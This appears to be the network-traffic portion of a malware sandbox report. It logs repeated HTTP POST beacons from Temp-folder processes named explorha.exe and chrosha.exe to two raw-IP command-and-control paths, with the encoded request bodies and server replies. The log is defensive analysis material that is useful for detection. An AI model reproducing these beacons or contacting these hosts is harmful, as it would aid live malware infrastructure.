Apr 19, 2024 03:31:57.690999031 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:57.939593077 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
432	192.168.2.5	50276	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:57.927830935 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:58.172730923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
433	192.168.2.5	50277	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:58.312855959 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:58.562668085 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
434	192.168.2.5	50278	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:58.539184093 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:58.782886982 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
435	192.168.2.5	50279	193.233.132.167	80	412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:58.815845966 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:59.070318937 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
436	192.168.2.5	50280	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:59.035808086 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:59.284615040 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
437	192.168.2.5	50281	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:59.432204962 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:59.676188946 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
438	192.168.2.5	50282	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:59.663532019 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:59.916558027 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
439	192.168.2.5	50283	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:59.926920891 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:00.176089048 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
440	192.168.2.5	50284	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:00.172422886 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:00.428931952 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
441	192.168.2.5	50285	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:00.538774014 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:00.780312061 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
442	192.168.2.5	50286	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:00.793606043 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:01.045970917 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
443	192.168.2.5	50287	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:01.033885002 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:01.286737919 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
444	192.168.2.5	50288	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:01.298433065 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:01.551254988 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
445	192.168.2.5	50289	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:01.651972055 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:01.902004957 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
446	192.168.2.5	50290	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:01.913290977 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:02.158507109 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
447	192.168.2.5	50291	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:02.149525881 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:02.397469044 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
448	192.168.2.5	50292	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:02.406327963 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:02.654135942 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
449	192.168.2.5	50293	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:02.756772995 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:03.001389980 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
450	192.168.2.5	50294	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:03.008313894 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:03.252196074 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
451	192.168.2.5	50295	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:03.251945019 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:03.503062010 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
452	192.168.2.5	50296	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:03.507286072 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:03.762892962 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
453	192.168.2.5	50297	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:03.866053104 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:04.108968019 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

